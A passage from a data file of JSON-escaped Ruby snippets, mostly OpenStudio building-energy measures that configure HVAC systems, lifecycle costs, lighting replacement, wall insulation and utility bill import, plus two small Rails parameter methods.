runner.getDoubleArgumentValue(\"econoMaxEnthalpy\",user_arguments)\n econoMaxDewpointTemp = runner.getDoubleArgumentValue(\"econoMaxDewpointTemp\",user_arguments)\n econoMinDryBulbTemp = runner.getDoubleArgumentValue(\"econoMinDryBulbTemp\",user_arguments)\n heat_recovery_type = runner.getStringArgumentValue(\"heat_recovery_type\", user_arguments)\n\tsens_recovery = runner.getDoubleArgumentValue(\"sens_recovery\",user_arguments)\n\tlat_recovery = runner.getDoubleArgumentValue(\"lat_recovery\",user_arguments)\n\tdehumidification_control_type = runner.getStringArgumentValue(\"dehumidification_control_type\",user_arguments)\n\tdehumidification_control_zone = runner.getOptionalWorkspaceObjectChoiceValue(\"dehumidification_control_zone\", user_arguments,model)\n\tdehumidification_setpoint = runner.getDoubleArgumentValue(\"dehumidification_setpoint\",user_arguments)\n\thumidifier_type = runner.getStringArgumentValue(\"humidifier_type\",user_arguments)\n\thumidifier_control_zone = runner.getOptionalWorkspaceObjectChoiceValue(\"humidifier_control_zone\",user_arguments,model)\n\thumidifier_setpoint = runner.getDoubleArgumentValue(\"humidifier_setpoint\",user_arguments)\n \n\t#retrieve selected thermal control zones for humidifier and dehumidification\n \tif dehumidification_control_type == \"CoolReheat\"\n\t selected_dehumidification_control_zone = dehumidification_control_zone.get.to_ThermalZone.get\n\tend\n\tif humidifier_type == \"ElectricSteam\"\n selected_humidifier_control_zone = humidifier_control_zone.get.to_ThermalZone.get\n end\n\n # check the system_name for reasonableness\n if system_name.empty?\n runner.registerError(\"Empty system name was entered.\")\n return false\n end\n\t\n #check the system_sch for reasonableness\n if system_sch.empty?\n handle = runner.getStringArgumentValue(\"system_sch\",user_arguments)\n if handle == OpenStudio::toUUID(\"\").to_s\n system_sch = OpenStudio::Model::ScheduleRuleset.new(model)\n system_sch.setName(\"system_sch\")\n system_sch.defaultDaySchedule().setName(\"system schedule Default\")\n system_sch.defaultDaySchedule().addValue(OpenStudio::Time.new(0,24,0,0),1.0)\n else\n runner.registerError(\"The selected schedule with handle '#{handle}' was not found in the model. It may have been removed by another measure.\")\n return false\n end\n else\n if not system_sch.get.to_Schedule.empty?\n system_sch = system_sch.get.to_Schedule.get\n else\n runner.registerError(\"Script Error - argument not showing up as schedule.\")\n return false\n end\n end \n\t\n\t#check economizer values for reasonableness\n default = 69 #same value as default argument\n if econoMaxDryBulbTemp > default * 1.2\n runner.registerWarning(\"Economizer Maximum Limit Dry-Bulb Temperature of #{econoMaxDryBulbTemp}(F) seems high.\")\n elsif econoMaxDryBulbTemp < default * 0.8\n runner.registerWarning(\"Economizer Maximum Limit Dry-Bulb Temperature of #{econoMaxDryBulbTemp}(F) seems low.\")\n end\n #this argument has an error check in addition to the warning check.\n if econoMaxDryBulbTemp > 150\n runner.registerWarning(\"Economizer Maximum Limit Dry-Bulb Temperature of #{econoMaxDryBulbTemp}(F) is too high. Measure will not run.\")\n elsif econoMaxDryBulbTemp < 20\n runner.registerWarning(\"Economizer Maximum Limit Dry-Bulb Temperature of #{econoMaxDryBulbTemp}(F) is too high. Measure will not run.\")\n end\n\n default = 28 #same value as default argument\n if econoMaxEnthalpy > default * 1.1\n runner.registerWarning(\"Economizer Maximum Enthalpy of #{econoMaxEnthalpy}(Btu/lb) seems high.\")\n elsif econoMaxEnthalpy < default * 0.9\n runner.registerWarning(\"Economizer Maximum Enthalpy of #{econoMaxEnthalpy}(Btu/lb) seems low.\")\n end\n\n default = 55 #same value as default argument\n if econoMaxDewpointTemp > default * 1.2\n runner.registerWarning(\"Economizer Maximum Limit Dewpoint Temperature of #{econoMaxDewpointTemp}(F) seems high.\")\n elsif econoMaxDewpointTemp < default * 0.8\n runner.registerWarning(\"Economizer Maximum Limit Dewpoint Temperature of #{econoMaxDewpointTemp}(F) seems low.\")\n end\n\n\t# retrieve hot water loop\n\thot_water_loop = nil\n\thot_water_loop = if model.getPlantLoopByName('Hot Water Loop').is_initialized\n model.getPlantLoopByName('Hot Water Loop').get\n\t\t\t\t\t else\n\t\t\t\t\t if heating_coil_type == \"HotWater\"\n\t\t\t\t\t runner.registerError (\"No hot water loop. Need to create a hot water loop to add hot water heating coil\")\n\t\t\t\t\t end\n\t\t\t\t\t end\n\t\n\t\n # Default control temps for HW loop\n hw_temp_f = 180 # HW setpoint 180F\n hw_delta_t_r = 20 # 20F delta-T\n hw_temp_c = OpenStudio.convert(hw_temp_f, 'F', 'C').get\n hw_delta_t_k = OpenStudio.convert(hw_delta_t_r, 'R', 'K').get\n sys_dsn_prhtg_temp_f = 44.6 # Design central deck to preheat to 44.6F\n sys_dsn_clg_sa_temp_f = 57.2 # Design central deck to cool to 57.2F\n sys_dsn_htg_sa_temp_f = 62 # Central heat to 62F\n zn_dsn_clg_sa_temp_f = 55 # Design VAV box for 55F from central deck\n zn_dsn_htg_sa_temp_f = 122 # Design VAV box to reheat to 122F\n clg_sa_temp_f = 55 # Central deck clg temp operates at 55F\n\n sys_dsn_prhtg_temp_c = OpenStudio.convert(sys_dsn_prhtg_temp_f, 'F', 'C').get\n sys_dsn_clg_sa_temp_c = OpenStudio.convert(sys_dsn_clg_sa_temp_f, 'F', 'C').get\n sys_dsn_htg_sa_temp_c = OpenStudio.convert(sys_dsn_htg_sa_temp_f, 'F', 'C').get\n zn_dsn_clg_sa_temp_c = OpenStudio.convert(zn_dsn_clg_sa_temp_f, 'F', 'C').get\n zn_dsn_htg_sa_temp_c = OpenStudio.convert(zn_dsn_htg_sa_temp_f, 'F', 'C').get\n clg_sa_temp_c = OpenStudio.convert(clg_sa_temp_f, 'F', 'C').get\n\t\n sa_temp_sch = OpenStudio::Model::ScheduleRuleset.new(model)\n sa_temp_sch.setName(\"Supply Air Temp - #{clg_sa_temp_f}F\")\n sa_temp_sch.defaultDaySchedule.setName(\"Supply Air Temp - #{clg_sa_temp_f}F Default\")\n sa_temp_sch.defaultDaySchedule.addValue(OpenStudio::Time.new(0, 24, 0, 0), clg_sa_temp_c)\n\n\t# Creat a packaged VAV ststem (Air loop)\n air_loop = OpenStudio::Model::AirLoopHVAC.new(model)\n air_loop.setName(system_name)\n\t\n\t# Air handler controls\n stpt_manager = OpenStudio::Model::SetpointManagerScheduled.new(model, sa_temp_sch)\n stpt_manager.addToNode(air_loop.supplyOutletNode)\n sizing_system = air_loop.sizingSystem\n \n\t# sizing_system.setPreheatDesignTemperature(sys_dsn_prhtg_temp_c)\n sizing_system.setCentralCoolingDesignSupplyAirTemperature(sys_dsn_clg_sa_temp_c)\n sizing_system.setCentralHeatingDesignSupplyAirTemperature(sys_dsn_htg_sa_temp_c)\n sizing_system.setSizingOption('NonCoincident')\n sizing_system.setAllOutdoorAirinCooling(false)\n sizing_system.setAllOutdoorAirinHeating(false)\n\tair_loop.setNightCycleControlType('CycleOnAny')\n\n\t# Fan\n fan = OpenStudio::Model::FanVariableVolume.new(model, system_sch)\n fan.setName(\"#{air_loop.name} Fan\")\n fan.addToNode(air_loop.supplyInletNode)\n\t\n\t# Select heating coil type - if users want to use hotwater heating coil, hot water loop and boilers should be created first. \n\tcase heating_coil_type\n\twhen \"Electric\"\n\t htg_coil = OpenStudio::Model::CoilHeatingElectric.new(model, system_sch)\n htg_coil.setName(\"#{air_loop.name} Main Htg Coil\")\n htg_coil.addToNode(air_loop.supplyInletNode)\n\twhen \"Gas\" \n htg_coil = OpenStudio::Model::CoilHeatingGas.new(model, system_sch)\n htg_coil.setGasBurnerEfficiency(rated_hc_gas_efficiency)\n\t htg_coil.setName(\"#{air_loop.name} Main Htg Coil\")\n htg_coil.addToNode(air_loop.supplyInletNode)\n\twhen \"HotWater\"\n\t \t htg_coil = OpenStudio::Model::CoilHeatingWater.new(model, system_sch)\n htg_coil.setName(\"#{air_loop.name} Main Htg Coil\")\n htg_coil.setRatedInletWaterTemperature(hw_temp_c)\n htg_coil.setRatedInletAirTemperature(sys_dsn_prhtg_temp_c)\n htg_coil.setRatedOutletWaterTemperature(hw_temp_c - hw_delta_t_k)\n htg_coil.setRatedOutletAirTemperature(sys_dsn_htg_sa_temp_c)\n htg_coil.addToNode(air_loop.supplyInletNode)\n hot_water_loop.addDemandBranchForComponent(htg_coil)\n\twhen \"None\"\n runner.registerInfo(\"No heating coil was selected.\")\n end\n # create cooling coil - use TwoSpeed DX cooling coil \n clg_coil = OpenStudio::Model::CoilCoolingDXTwoSpeed.new(model)\n clg_coil.setName(\"#{air_loop.name} Clg Coil\")\n clg_coil.addToNode(air_loop.supplyInletNode)\n\n\t# Outdoor air intake system & economizer controller\n oa_intake_controller = OpenStudio::Model::ControllerOutdoorAir.new(model)\n oa_intake_controller.setMinimumLimitType('FixedMinimum')\n oa_intake_controller.setMinimumOutdoorAirSchedule(system_sch)\n oa_intake_controller.setEconomizerControlType(economizer_type)\n\toa_intake_controller.setEconomizerMaximumLimitDryBulbTemperature(econoMaxDryBulbTemp)\n\toa_intake_controller.setEconomizerMaximumLimitEnthalpy(econoMaxEnthalpy)\n\toa_intake_controller.setEconomizerMaximumLimitDewpointTemperature(econoMaxDewpointTemp)\n\toa_intake_controller.setEconomizerMinimumLimitDryBulbTemperature(econoMinDryBulbTemp)\n\t\n\t# Outdoor air system\n\toa_intake = OpenStudio::Model::AirLoopHVACOutdoorAirSystem.new(model, oa_intake_controller)\n oa_intake.setName(\"#{air_loop.name} OA Sys\")\n oa_intake.addToNode(air_loop.supplyInletNode)\n controller_mv = oa_intake_controller.controllerMechanicalVentilation\n controller_mv.setName(\"#{air_loop.name} Ventilation Controller\")\n controller_mv.setAvailabilitySchedule(system_sch)\n \n\t# Add ERV\n if heat_recovery_type == \"Sensible\"\n erv = OpenStudio::Model::HeatExchangerAirToAirSensibleAndLatent.new(model)\n\t erv.setSensibleEffectivenessat100HeatingAirFlow(sens_recovery)\n erv.setLatentEffectivenessat100HeatingAirFlow(0.0)\n erv.setSensibleEffectivenessat75HeatingAirFlow(sens_recovery+0.05)\n erv.setLatentEffectivenessat75HeatingAirFlow(0.0)\n erv.setSensibleEffectivenessat100CoolingAirFlow(sens_recovery)\n erv.setLatentEffectivenessat100CoolingAirFlow(0.0)\n erv.setSensibleEffectivenessat75CoolingAirFlow(sens_recovery+0.05)\n erv.setLatentEffectivenessat75CoolingAirFlow(0.0)\n\t erv.setSupplyAirOutletTemperatureControl(true)\n\t erv.setHeatExchangerType('Rotary')\n erv.setFrostControlType('MinimumExhaustTemperature')\n erv.setThresholdTemperature(1.7) # EPlus default\n erv.addToNode(oa_intake.outboardOANode.get)\n\telsif heat_recovery_type == \"Enthalpy\"\n\t erv = OpenStudio::Model::HeatExchangerAirToAirSensibleAndLatent.new(model)\n erv.setSensibleEffectivenessat100HeatingAirFlow(sens_recovery)\n erv.setLatentEffectivenessat100HeatingAirFlow(lat_recovery)\n erv.setSensibleEffectivenessat75HeatingAirFlow(sens_recovery+0.05)\n erv.setLatentEffectivenessat75HeatingAirFlow(lat_recovery+0.05)\n erv.setSensibleEffectivenessat100CoolingAirFlow(sens_recovery)\n erv.setLatentEffectivenessat100CoolingAirFlow(lat_recovery)\n erv.setSensibleEffectivenessat75CoolingAirFlow(sens_recovery+0.05)\n erv.setLatentEffectivenessat75CoolingAirFlow(lat_recovery+0.05)\n\t erv.setSupplyAirOutletTemperatureControl(true)\n erv.setHeatExchangerType('Rotary')\n erv.setFrostControlType('MinimumExhaustTemperature')\n erv.setThresholdTemperature(1.7) # EPlus default\n erv.addToNode(oa_intake.outboardOANode.get)\n\tend\t\n\n\t# Humidistat schedule\n\tif dehumidification_control_type == \"CoolReheat\"\n\t dehumidification_sch = OpenStudio::Model::ScheduleRuleset.new(model)\n\t dehumidification_sch.setName(\"dehumidification_sch\")\n\t dehumidification_sch.defaultDaySchedule().setName(\"dehumidification schedule Default\")\n\t dehumidification_sch.defaultDaySchedule().addValue(OpenStudio::Time.new(0,24,0,0),dehumidification_setpoint)\n\tend\n\tif humidifier_type == \"ElectricSteam\"\n humidifier_sch = OpenStudio::Model::ScheduleRuleset.new(model)\n\t humidifier_sch.setName(\"humidifier_sch\")\n\t humidifier_sch.defaultDaySchedule().setName(\"humidifier schedule Default\")\n\t humidifier_sch.defaultDaySchedule().addValue(OpenStudio::Time.new(0,24,0,0),humidifier_setpoint)\t\n\tend\n\t\n\t# Humidistat schedule without humidifier\n no_humidifier_sch = OpenStudio::Model::ScheduleRuleset.new(model)\n\t no_humidifier_sch.setName(\"no_humidifier_sch\")\n\t no_humidifier_sch.defaultDaySchedule().setName(\"no humidifier schedule Default\")\n\t no_humidifier_sch.defaultDaySchedule().addValue(OpenStudio::Time.new(0,24,0,0),0.0)\t\n\t\n\t# Humidistat schedule without dehumidification control\n no_dehumidification_sch = OpenStudio::Model::ScheduleRuleset.new(model)\n\t no_dehumidification_sch.setName(\"no_dehumidification_sch\")\n\t no_dehumidification_sch.defaultDaySchedule().setName(\"no dehumidification schedule Default\")\n\t no_dehumidification_sch.defaultDaySchedule().addValue(OpenStudio::Time.new(0,24,0,0),100.0)\n\t\n # Add humidistat\n case humidifier_type \n\twhen \"None\"\n\t\tif dehumidification_control_type == \"None\"\n\t\t\trunner.registerInfo(\"No humidity controls.\")\n\t\telsif dehumidification_control_type == \"CoolReheat\"\n\t\t\thumidistat = OpenStudio::Model::ZoneControlHumidistat.new(model)\n\t\t\thumidistat.setDehumidifyingRelativeHumiditySetpointSchedule(dehumidification_sch)\n\t\t\thumidistat.setHumidifyingRelativeHumiditySetpointSchedule(no_humidifier_sch)\n\t\t\tselected_dehumidification_control_zone.setZoneControlHumidistat(humidistat)\n\t\tend\n\twhen \"ElectricSteam\"\n\t\tif dehumidification_control_type == \"None\"\n\t\t\thumidistat = OpenStudio::Model::ZoneControlHumidistat.new(model)\n\t\t\thumidistat.setHumidifyingRelativeHumiditySetpointSchedule(humidifier_sch)\n\t\t humidistat.setDehumidifyingRelativeHumiditySetpointSchedule(no_dehumidification_sch)\n\t\t\tselected_humidifier_control_zone.setZoneControlHumidistat(humidistat)\n\t elsif dehumidification_control_type == \"CoolReheat\"\n\t\t if selected_humidifier_control_zone == selected_dehumidification_control_zone\n\t\t\t\t humidistat = OpenStudio::Model::ZoneControlHumidistat.new(model)\n\t\t\t humidistat.setDehumidifyingRelativeHumiditySetpointSchedule(dehumidification_sch)\n\t\t\t\t humidistat.setHumidifyingRelativeHumiditySetpointSchedule(humidifier_sch)\n\t\t\t\t selected_humidifier_control_zone.setZoneControlHumidistat(humidistat)\n\t else\n\t\t\t humidistat_1 = OpenStudio::Model::ZoneControlHumidistat.new(model)\n\t\t\t humidistat_1.setHumidifyingRelativeHumiditySetpointSchedule(humidifier_sch)\n\t\t\t\t humidistat_1.setDehumidifyingRelativeHumiditySetpointSchedule(no_dehumidification_sch)\n\t\t\t\t selected_humidifier_control_zone.setZoneControlHumidistat(humidistat_1) \n\t\t\t humidistat_2 = OpenStudio::Model::ZoneControlHumidistat.new(model)\n\t\t\t\t humidistat_2.setDehumidifyingRelativeHumiditySetpointSchedule(dehumidification_sch)\n\t\t\t\t humidistat_2.setHumidifyingRelativeHumiditySetpointSchedule(no_humidifier_sch)\n\t\t\t\t selected_dehumidification_control_zone.setZoneControlHumidistat(humidistat_2)\n\t\t\tend\n\t\tend\n\tend\n\t\t\n# Add humidifier - capacities autosized\n\tif humidifier_type == \"ElectricSteam\" \n\t unless heating_coil_type == \"HotWater\"\n\t runner.registerError(\"No hot water heating coil. Humidifier needs a hot water heating coil\")\n\t else\n\t humidifier = OpenStudio::Model::HumidifierSteamElectric.new(model)\n\t humidifier.setName(\"#{air_loop.name.get} Electric Steam Humidifier\")\n heating_coil_outlet_node = htg_coil.airOutletModelObject.get.to_Node.get\n\t supply_outlet_node = air_loop.supplyOutletNode\n\t humidifier.addToNode(heating_coil_outlet_node)\n \t\n\t humidity_spm = OpenStudio::Model::SetpointManagerSingleZoneHumidityMinimum.new(model)\n\t humidity_spm.addToNode(humidifier.outletModelObject.get.to_Node.get)\n\t humidity_spm.setControlZone(selected_humidifier_control_zone)\n end\n\tend\n \n return true\n \n return true\nend",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # assign the user inputs to variables\n study_period = runner.getIntegerArgumentValue('study_period', user_arguments)\n\n # check the user_name for reasonableness\n if study_period < 1\n runner.registerError('Length of the Study Period needs to be an integer greater than 0.')\n return false\n end\n\n # get lifecycle object\n lifeCycleCostParameters = model.getLifeCycleCostParameters\n\n # reporting initial condition of model\n starting_spaces = model.getSpaces\n runner.registerInitialCondition(\"Initial Lifecycle Analysis Type is #{lifeCycleCostParameters.analysisType}. Initial Analysis Length is #{lifeCycleCostParameters.lengthOfStudyPeriodInYears}.\")\n\n # this will eventually be in the GUI, but just adding to measure for now\n lifeCycleCostParameters.setAnalysisType('FEMP')\n lifeCycleCostParameters.setLengthOfStudyPeriodInYears(study_period)\n\n # reporting final condition of model\n finishing_spaces = model.getSpaces\n runner.registerFinalCondition(\"Final Lifecycle Analysis Type is #{lifeCycleCostParameters.analysisType}. Final Analysis Length is #{lifeCycleCostParameters.lengthOfStudyPeriodInYears}.\")\n\n return true\n end",
"def run_params\n params.fetch(:run, {}).permit(:distance_in_meters, :time_in_seconds)\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n #use the built-in error checking\n if not runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n return true\n\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n #use the built-in error checking\n if not runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n #assign the user inputs to variables\n space_type_object = runner.getOptionalWorkspaceObjectChoiceValue(\"space_type\",user_arguments,model)\n lights_def_object = runner.getOptionalWorkspaceObjectChoiceValue(\"light_def\",user_arguments,model)\n lamps_per_fixture = runner.getIntegerArgumentValue(\"lamps_per_fixture\",user_arguments)\n power_per_lamp = runner.getDoubleArgumentValue(\"power_per_lamp\",user_arguments)\n ballasts_per_fixture = runner.getIntegerArgumentValue(\"ballasts_per_fixture\",user_arguments)\n ballast_factor = runner.getDoubleArgumentValue(\"ballast_factor\",user_arguments)\n material_and_installation_cost_per_fixture = runner.getDoubleArgumentValue(\"material_and_installation_cost_per_fixture\",user_arguments)\n expected_life = runner.getIntegerArgumentValue(\"expected_life\",user_arguments)\n \n #check the lighting_def argument to make sure it still is in the model\n lights_def = nil\n if lights_def_object.empty?\n handle = runner.getStringArgumentValue(\"lighting_def\",user_arguments)\n if handle.empty?\n runner.registerError(\"No lighting definition was chosen.\")\n else\n runner.registerError(\"The selected lighting definition with handle '#{handle}' was not found in the model. It may have been removed by another measure.\")\n end\n return false\n else\n if lights_def_object.get.to_LightsDefinition.is_initialized\n lights_def = lights_def_object.get.to_LightsDefinition.get\n end\n end\n\n #check the space_type for reasonableness and see if measure should run on space type or on the entire building\n apply_to_building = false\n space_type = nil\n if space_type_object.empty?\n handle = runner.getStringArgumentValue(\"space_type\",user_arguments)\n if handle.empty?\n runner.registerError(\"No space type was chosen.\")\n else\n runner.registerError(\"The selected space type with handle '#{handle}' was not found in the model. It may have been removed by another measure.\")\n end\n return false\n else\n if not space_type_object.get.to_SpaceType.empty?\n space_type = space_type_object.get.to_SpaceType.get\n elsif not space_type_object.get.to_Building.empty?\n apply_to_building = true\n else\n runner.registerError(\"Script Error - argument not showing up as space type or building.\")\n return false\n end\n end\n \n #check arguments for reasonableness\n if lamps_per_fixture < 1\n runner.registerError(\"Fixture must have at least 1 lamp.\")\n return false\n end\n\n if ballasts_per_fixture < 0\n runner.registerError(\"Number of ballasts must be greater than or equal to 0.\")\n return false\n end\n\n if ballast_factor < 0\n runner.registerError(\"Ballast factor cannot be less than 0.\")\n return false\n end\n \n #make the new light fixture\n new_fixture_def = OpenStudio::Model::LightsDefinition.new(model)\n new_fixture_wattage = lamps_per_fixture * power_per_lamp * ballast_factor\n new_fixture_def.setLightingLevel(new_fixture_wattage)\n #name format is like this: \"(2) 40W Lamps (1) 0.8BF Ballast\" or \"(2) 40W Lamps\"\n name = nil\n if ballasts_per_fixture > 0\n name = \"(#{lamps_per_fixture}) #{power_per_lamp}W Lamps (#{ballasts_per_fixture}) #{ballast_factor}BF Ballast\" \n else\n name = \"(#{lamps_per_fixture}) #{power_per_lamp}W Lamps\" \n end\n new_fixture_def.setName(name)\n \n #replace all of the fixtures of a given type\n #with the new fixture\n number_of_fixtures_replaced = 0\n if apply_to_building #apply to the whole building\n model.getLightss.each do |light_fixture|\n if light_fixture.lightsDefinition == lights_def\n light_fixture.setLightsDefinition(new_fixture_def)\n number_of_fixtures_replaced += light_fixture.multiplier\n end\n end\n else #apply to the a specific space type\n #do the lights assigned to the space type itself\n space_type.lights.each do |light_fixture|\n if light_fixture.lightsDefinition == lights_def\n light_fixture.setLightsDefinition(new_fixture_def)\n number_of_fixtures_replaced += light_fixture.multiplier\n end\n end\n #do the lights in each space of the selected space type\n space_type.spaces.each do |space|\n space.lights.each do |light_fixture|\n if light_fixture.lightsDefinition == lights_def\n light_fixture.setLightsDefinition(new_fixture_def)\n number_of_fixtures_replaced += light_fixture.multiplier\n end\n end \n end\n end\n \n # add costs\n if material_and_installation_cost_per_fixture != 0\n cost = OpenStudio::Model::LifeCycleCost.createLifeCycleCost(\"Replace #{number_of_fixtures_replaced.round} #{lights_def.name.get} with #{new_fixture_def.name.get}\", new_fixture_def, material_and_installation_cost_per_fixture, \"CostPerEach\", \"Construction\", expected_life, 0)\n if cost.empty?\n runner.registerError(\"Failed to add costs.\")\n end\n end\n \n #report initial condition\n runner.registerInitialCondition(\"The building has a number of #{lights_def.name.get} light fixtures, which are not the most efficient light source for the application.\") \n \n #report final condition\n if apply_to_building\n runner.registerFinalCondition(\"Replace #{number_of_fixtures_replaced.round} existing #{lights_def.name.get} light fixtures with #{new_fixture_def.name.get} light fixtures throughout the building. The total cost to install the new light fixtures is $#{material_and_installation_cost_per_fixture.round} per fixture, for a total cost of $#{(material_and_installation_cost_per_fixture * number_of_fixtures_replaced).round}\")\n else\n runner.registerFinalCondition(\"Replace #{number_of_fixtures_replaced.round} existing #{lights_def.name.get} light fixtures with #{new_fixture_def.name.get} light fixtures in #{space_type.name} spaces throughout the building. The total cost to install the new light fixtures is $#{material_and_installation_cost_per_fixture.round} per fixture, for a total cost of $#{(material_and_installation_cost_per_fixture * number_of_fixtures_replaced).round}\")\n end\n \n return true\n \n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # Use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # Return N/A if not selected to run\n run_measure = runner.getIntegerArgumentValue('run_measure', user_arguments)\n if run_measure == 0\n runner.registerAsNotApplicable(\"Run Measure set to #{run_measure}.\")\n return true\n end\n\n r_val_ip = runner.getDoubleArgumentValue('r_val_ip', user_arguments)\n\n # Check the r_val_ip for reasonableness\n if r_val_ip <= 0\n runner.registerError(\"R-value must be greater than 0. You entered #{r_val_ip}.\")\n return false\n end\n\n # Convert r_val_ip to si\n r_val_si = OpenStudio.convert(r_val_ip, 'ft^2*h*R/Btu', 'm^2*K/W').get\n\n # Create a material for Expanded Polystyrene - Molded Beads\n # https://bcl.nrel.gov/node/34582\n # Expanded Polystyrene - Molded Beads - 1 in., ! Name\n # VeryRough, ! Roughness\n # 0.0254, ! Thickness {m}\n # 0.0352, ! Conductivity {W/m-K}\n # 24, ! Density {kg/m3}\n # 1210, ! Specific Heat {J/kg-K}\n ins_layer = OpenStudio::Model::StandardOpaqueMaterial.new(model)\n ins_layer.setRoughness('VeryRough')\n ins_layer.setConductivity(0.0352)\n ins_layer.setDensity(24.0)\n ins_layer.setSpecificHeat(1210.0)\n\n # Calculate the thickness required to meet the desired R-Value\n reqd_thickness_si = r_val_si * ins_layer.thermalConductivity\n reqd_thickness_ip = OpenStudio.convert(reqd_thickness_si, 'm', 'in').get\n ins_layer.setThickness(reqd_thickness_si)\n ins_layer.setName(\"Expanded Polystyrene - Molded Beads - #{reqd_thickness_ip.round(1)} in.\")\n runner.registerInfo(\"To achieve an R-Value of #{r_val_ip.round(2)} you need #{ins_layer.name} insulation.\")\n\n # Find all exterior walls and get a list of their constructions\n wall_constructions = []\n model.getSurfaces.each do |surface|\n if surface.outsideBoundaryCondition == 'Outdoors' && surface.surfaceType == 'Wall'\n if surface.construction.is_initialized\n wall_constructions << surface.construction.get\n end\n end\n end\n\n # Make clones of all the wall constructions used and the add\n # insulation layer to these new constructions.\n old_to_new_construction_map = {}\n wall_constructions.uniq.each do |wall_construction|\n wall_construction_plus_ins = wall_construction.clone(model).to_Construction.get\n wall_construction_plus_ins.insertLayer(0, ins_layer)\n old_to_new_construction_map[wall_construction] = wall_construction_plus_ins\n end\n\n # Find all exterior walls and replace their old constructions with the\n # cloned constructions that include the insulation layer.\n area_of_insulation_added_si = 0\n model.getSurfaces.each do |surface|\n if surface.outsideBoundaryCondition == 'Outdoors' && surface.surfaceType == 'Wall'\n if surface.construction.is_initialized\n wall_construction = surface.construction.get\n wall_construction_plus_ins = old_to_new_construction_map[wall_construction]\n surface.setConstruction(wall_construction_plus_ins)\n area_of_insulation_added_si += surface.netArea\n end\n end\n end\n\n # This measure is not applicable if there are no exterior walls\n if area_of_insulation_added_si == 0\n runner.registerAsNotApplicable('Not Applicable - Model does not have any exterior walls to add EIFS insulation to.')\n return true\n end\n\n # Convert affected area to ft^2 for reporting\n area_of_insulation_added_ip = OpenStudio.convert(area_of_insulation_added_si, 'm^2', 'ft^2').get\n\n # Report the initial condition\n runner.registerInitialCondition(\"The building has #{area_of_insulation_added_ip.round(2)} ft2 of exterior walls.\")\n\n # Report the final condition\n runner.registerFinalCondition(\"#{ins_layer.name} insulation has been applied to #{area_of_insulation_added_ip.round} ft2 of exterior walls.\")\n runner.registerValue('env_wall_eifs_area_ft2', area_of_insulation_added_ip.round(2), 'ft2')\n return true\n end",
"def run_params\n params.require(:run).permit(:date_of, :distance, :user_id)\n end",
"def arguments(model)\n args = OpenStudio::Ruleset::OSArgumentVector.new\n \n # Make integer arg to run measure [1 is run, 0 is no run]\n run_measure = OpenStudio::Ruleset::OSArgument::makeIntegerArgument(\"run_measure\",true)\n run_measure.setDisplayName(\"Run Measure\")\n run_measure.setDescription(\"integer argument to run measure [1 is run, 0 is no run]\")\n run_measure.setDefaultValue(1)\n args << run_measure \n \n return args\n end",
"def arguments(model)\n args = OpenStudio::Ruleset::OSArgumentVector.new\n \n # Make integer arg to run measure [1 is run, 0 is no run]\n run_measure = OpenStudio::Ruleset::OSArgument::makeIntegerArgument(\"run_measure\",true)\n run_measure.setDisplayName(\"Run Measure\")\n run_measure.setDescription(\"integer argument to run measure [1 is run, 0 is no run]\")\n run_measure.setDefaultValue(1)\n args << run_measure \n \n return args\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n \n #use the built-in error checking \n if not runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n #assign the user inputs to variables\n json = runner.getStringArgumentValue(\"json\",user_arguments)\n variable_name = runner.getStringArgumentValue(\"variable_name\",user_arguments)\n fuel_type = runner.getStringArgumentValue(\"fuel_type\",user_arguments)\n consumption_unit = runner.getStringArgumentValue(\"consumption_unit\",user_arguments)\n data_key_name = runner.getStringArgumentValue(\"data_key_name\",user_arguments)\n start_date = runner.getStringArgumentValue(\"start_date\",user_arguments)\n end_date = runner.getStringArgumentValue(\"end_date\",user_arguments)\n remove_utility_bill_data = runner.getBoolArgumentValue(\"remove_existing_data\",user_arguments)\n set_runperiod = runner.getBoolArgumentValue(\"set_runperiod\",user_arguments)\n \n # set start date\n if date = year_month_day(start_date)\n start_date = OpenStudio::Date.new(OpenStudio::MonthOfYear.new(date[1]), date[2], date[0]) \n # actual year of start date\n yearDescription = model.getYearDescription()\n yearDescription.setCalendarYear(date[0])\n if set_runperiod\n runPeriod = model.getRunPeriod()\n runPeriod.setBeginMonth(date[1])\n runPeriod.setBeginDayOfMonth(date[2])\n runner.registerInfo(\"RunPeriod start date set to #{start_date}\")\n end\n else\n runner.registerError(\"Unknown start date '#{start_date}'\")\n fail \"Unknown start date '#{start_date}'\"\n return false\n end\n \n # set end date\n if date = year_month_day(end_date) \n end_date = OpenStudio::Date.new(OpenStudio::MonthOfYear.new(date[1]), date[2], date[0])\n if set_runperiod\n runPeriod = model.getRunPeriod()\n runPeriod.setEndMonth(date[1])\n runPeriod.setEndDayOfMonth(date[2])\n runner.registerInfo(\"RunPeriod end date set to #{end_date}\")\n end\n else\n runner.registerError(\"Unknown end date '#{end_date}'\")\n fail \"Unknown end date '#{end_date}'\"\n return false\n end\n\n # remove all utility bills\n if remove_utility_bill_data\n model.getUtilityBills.each do |bill|\n bill.remove\n end\n end\n \n runner.registerInfo(\"json is #{json}\")\n json_path = File.expand_path(\"#{json}\", __FILE__)\n runner.registerInfo(\"json_path is #{json_path}\")\n temp = File.read(json_path)\n json_data = JSON.parse(temp) \n if not json_data.nil?\n runner.registerInfo(\"fuel_type is #{fuel_type}\")\n utilityBill = OpenStudio::Model::UtilityBill.new(\"#{fuel_type}\".to_FuelType, model)\n utilityBill.setName(\"#{variable_name}\")\n utilityBill.setConsumptionUnit(\"#{consumption_unit}\")\n\n json_data['data'].each do |period|\n begin\n from_date = period['from'] ? Time.iso8601(period['from']).strftime(\"%Y%m%dT%H%M%S\") : nil\n to_date = period['to'] ? Time.iso8601(period['to']).strftime(\"%Y%m%dT%H%M%S\") : nil\n rescue ArgumentError => e\n runner.registerError(\"Unknown date format in period '#{period}'\")\n end\n if from_date.nil? or to_date.nil?\n runner.registerError(\"Unknown date format in period '#{period}'\")\n fail \"Unknown date format in period '#{period}'\"\n return false\n end\n 